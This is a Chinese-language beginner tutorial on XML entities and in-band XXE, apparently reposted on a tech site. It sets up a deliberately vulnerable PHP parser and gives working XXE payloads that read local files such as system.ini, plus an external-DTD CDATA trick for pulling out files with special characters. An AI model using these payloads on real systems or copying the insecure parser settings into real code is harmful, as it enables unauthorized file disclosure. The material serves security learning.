Normal XXE

编程入门 行业动态 更新时间:2024-10-24 01:57:09

刚开始学习XXE,理解不对的地方请指出!

xml基础

Normal XXE 即有回显读取本地文件。
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

内部实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" >//可以理解为定义一个变量test,值为this is xml
]>
<cred>&test;</cred>//这里引用变量,使用&test;引用

结果

外部实体

外部实体需要文件去解析。
先创建一个文件1.txt。

f:/1.txt

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test SYSTEM "file:///f:/1.txt" >//system关键字表示这是外部实体
//此时test的值是1.txt文件中的内容。
]>
<cred>&test;</cred>

1.php

<?php
libxml_disable_entity_loader(false);//设置为True可禁用外部实体注入
$xmlfile = file_get_contents('1.xml');// 利用php伪协议获取post提交的原始数据
$dom = new DOMDocument();// 创建XML对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 将post提交的数据生成xml文档
//后面两个参数可以参考php.net/manual/en/domdocument.loadhtmlfile.php
// 实测,后面两个参数必须得有。不然没有回显
$creds = simplexml_import_dom($dom);//得到一个SimpleXMLElement对象从$dom。这个对象包含了所有数据。
echo $creds->username;
?>

浏览器访问1.php

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" > // 在DTD中定义
]>
<cred>&test;</cred>//在xml文档中引用

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % param1 "<!ENTITY internal 'darkerbox.'>">//定义参数实体
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为darkerbox.
]><root>
<test>[This is my site] &internal;</test>
</root>

结果

Normal XXE

先来两个文件
3.php

<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);echo $creds;
?>

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe[<!ENTITY param SYSTEM "f:/1.txt">
]>
<content>&param;</content>

结果,没有任何问题。

既然这样,我们可以读取一些敏感文件
1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe[<!ENTITY param SYSTEM "file:///c:/windows/system.ini">
]>
<content>&param;</content>

我们新建一个2.txt文件


修改包含的文件为2.txt。

再次访问3.php。
实力报错

这是因为2.txt中包含一些特殊字符,啥是特殊字符????
像’<’,’&'都会被xml解析。

这就要用到CDATA了。

例如:

<?xml version="1.0" encoding="UTF-8"?>
<content><![CDATA[<html></html]]></content>

回到正题

1.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe[<!ENTITY % file SYSTEM "file:///f:/2.txt"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % wrap SYSTEM "127.0.0.1/1.dtd">%wrap;
]>
<content>&all;</content>

1.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%file;%end;">

访问3.php,不会报错。

分析

首先访问3.php,3.php的代码没什么好说的,和上面的一样。
然后3.php会包含1.xml文件。

当解析<!ENTITY % file SYSTEM "file:///f:/2.txt">时,会将2.txt的文件内容传给file。即file=<html><body></body><html> 。<!ENTITY % start "<![CDATA["><!ENTITY % end "]]>">也是分别赋值给start和end。当解析<!ENTITY % wrap SYSTEM "127.0.0.1/1.dtd">时,会将1.dtd文件中的内容值传给wrap%wrap;是将wrap显示在这里。因为wrap中的内容是1.dtd。是合法的xml语法,会被html语法解析。即解析<!ENTITY all "%start;%file;%end;">,这里%start;为CDATA的前半部分,%end为CDATA的后半部分,%file为2.txt的内容,然后一拼接,赋值给all。<content>&all;</content>调用all。则成功的显示了一些特殊字符

参考:xz.aliyun./t/3357#toc-2
blogs./backlion/p/9302528.html

更多推荐

Normal,XXE

本文发布于:2023-05-25 10:55:02,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/226608.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:Normal   XXE

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!